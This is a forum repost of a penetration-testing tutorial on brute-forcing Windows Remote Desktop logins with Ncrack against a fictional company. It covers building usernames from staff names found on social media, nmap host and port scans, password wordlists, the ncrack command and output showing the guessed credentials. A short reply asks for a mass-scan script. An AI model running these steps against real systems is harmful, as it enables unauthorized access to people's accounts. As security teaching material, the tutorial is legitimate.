Eric Posted January 27, 2014 Report Posted January 27, 2014 DISCLAIMERAll information provided are for educational purposes only. It is not an endorsement to undertake hacking activity in any form (unless such activity is authorized). Tools and techniques demonstrated may be potential damaging if used inappropriately. All characters and data written on this post are fictitious.The Remote Desktop Protocol is often underestimated as a possible way to break into a system during a penetration test. Other services, such SSH and VNC are more likely to be targeted and exploited using a remote brute-force password guessing attack. For example, let’s suppose that we are in the middle of a penetration testing session at the “MEGACORP” offices and we already tried all the available remote attacks with no luck. We tried also to ARP poisoning the LAN looking to get user names and passwords, without succeeding. From a previus nmap scan log we found a few Windows machines with the RDP port open and we decided to investigate further this possibility. First of all we need some valid usernames in order to guess only the passwords rather than both. We found the names of the IT guys on varius social networking websites. Those are the key IT staff:jessie taglejulio feaginshugh duchenedarmella martislakisha mcquainted restrepokelly missildineDidn’t take long to create valid usernames following the common standard of using the first letter of the name and the entire surname.jtaglejfeaginshduchenedmartislmcquaintrestrepokmissildineSoftware required:Linux machine, preferably Ubuntu.nmap and terminal server client, sudo apt-get install tsclient nmap build-essential checkinstall libssl-dev libssh-devAbout NcrackNcrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords. Security professionals also rely on Ncrack when auditing their clients. Ncrack’s features include a very flexible interface granting the user full control of network operations, allowing for very sophisticated bruteforcing attacks, timing templates for ease of use, runtime interaction similar to Nmap’s and many more. Protocols supported include RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, and telnet .Ncrack - High-speed network authentication crackerInstallationwget http://nmap.org/ncrack/dist/ncrack-0.4ALPHA.tar.gzmkdir /usr/local/share/ncracktar -xzf ncrack-0.4ALPHA.tar.gzcd ncrack-0.4ALPHA./configuremakecheckinstalldpkg -i ncrack_0.4ALPHA-1_i386.debInformation gatheringLet’s find out what hosts in a network are up, and save them to a text list. The regular expression will parse and extract only the ip addresses from the scan.Nmap ping scan, go no further than determining if host is onlinenmap -sP 192.168.56.0/24 | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' > 192.168.56.0.txtNmap fast scan with input from list of hosts/networksnmap -F -iL 192.168.56.0.txtStarting Nmap 5.21 ( http://nmap.org ) at 2011-04-10 13:15 CESTNmap scan report for 192.168.56.10Host is up (0.0017s latency).Not shown: 91 closed portsPORT STATE SERVICE88/tcp open kerberos-sec135/tcp open msrpc139/tcp open netbios-ssn389/tcp open ldap445/tcp open microsoft-ds1025/tcp open NFS-or-IIS1026/tcp open LSA-or-nterm1028/tcp open unknown3389/tcp open ms-term-servMAC Address: 08:00:27:09:F5:22 (Cadmus Computer Systems)Nmap scan report for 192.168.56.101Host is up (0.014s latency).Not shown: 96 closed portsPORT STATE SERVICE135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds3389/tcp open ms-term-servMAC Address: 08:00:27:C1:5D:4E (Cadmus Computer Systems)Nmap done: 55 IP addresses (55 hosts up) scanned in 98.41 secondsFrom the log we can see two machines with the microsoft terminal service port (3389) open, looking more in depth to the services available on the machine 192.168.56.10 we can assume that this machine might be the domain controller, and it’s worth tryingto pwn it.At this point we need to create a file (my.usr) with the probable usernames previously gathered.vim my.usrjtaglejfeaginshduchenetrestrepokmissildineWe need also a file (my.pwd) for the password, you can look on the internet for common passwords and wordlists.vim my.pwdsomepasswordpassw0rdblahblah12345678iloveyoutrustno1At this point we run Ncrack against the 192.168.56.10 machine.ncrack -vv -U my.usr -P my.pwd 192.168.56.10:3389,CL=1Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-10 17:24 CESTDiscovered credentials on rdp://192.168.56.10:3389 'hduchene' 'passw0rd'rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon.Discovered credentials on rdp://192.168.56.10:3389 'jfeagins' 'blahblah'rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon.Discovered credentials on rdp://192.168.56.10:3389 'jtagle' '12345678'rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon.Discovered credentials on rdp://192.168.56.10:3389 'kmissildine' 'iloveyou'rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon.Discovered credentials on rdp://192.168.56.10:3389 'trestrepo' 'trustno1'rdp://192.168.56.10:3389 finished.Discovered credentials for rdp on 192.168.56.10 3389/tcp:192.168.56.10 3389/tcp rdp: 'hduchene' 'passw0rd'192.168.56.10 3389/tcp rdp: 'jfeagins' 'blahblah'192.168.56.10 3389/tcp rdp: 'jtagle' '12345678'192.168.56.10 3389/tcp rdp: 'kmissildine' 'iloveyou'192.168.56.10 3389/tcp rdp: 'trestrepo' 'trustno1'Ncrack done: 1 service scanned in 98.00 seconds.Probes sent: 51 | timed-out: 0 | prematurely-closed: 0Ncrack finished.We can see from the Ncrack results that all the user names gathered are valid, and also we were able to crack the login credential since they were using some weak passwords. Four of the IT staff have some kind of restrictions on the machine, except hduchene that might be the domain administrator, let’s find out.source: http://bailey.st/blog/2011/05/12/remote-desktop-credentials-auditing-with-ncrack/ 1 Quote
p0s3idon Posted May 11, 2015 Report Posted May 11, 2015 Un script pt mass scan ceva? are cineva? Quote
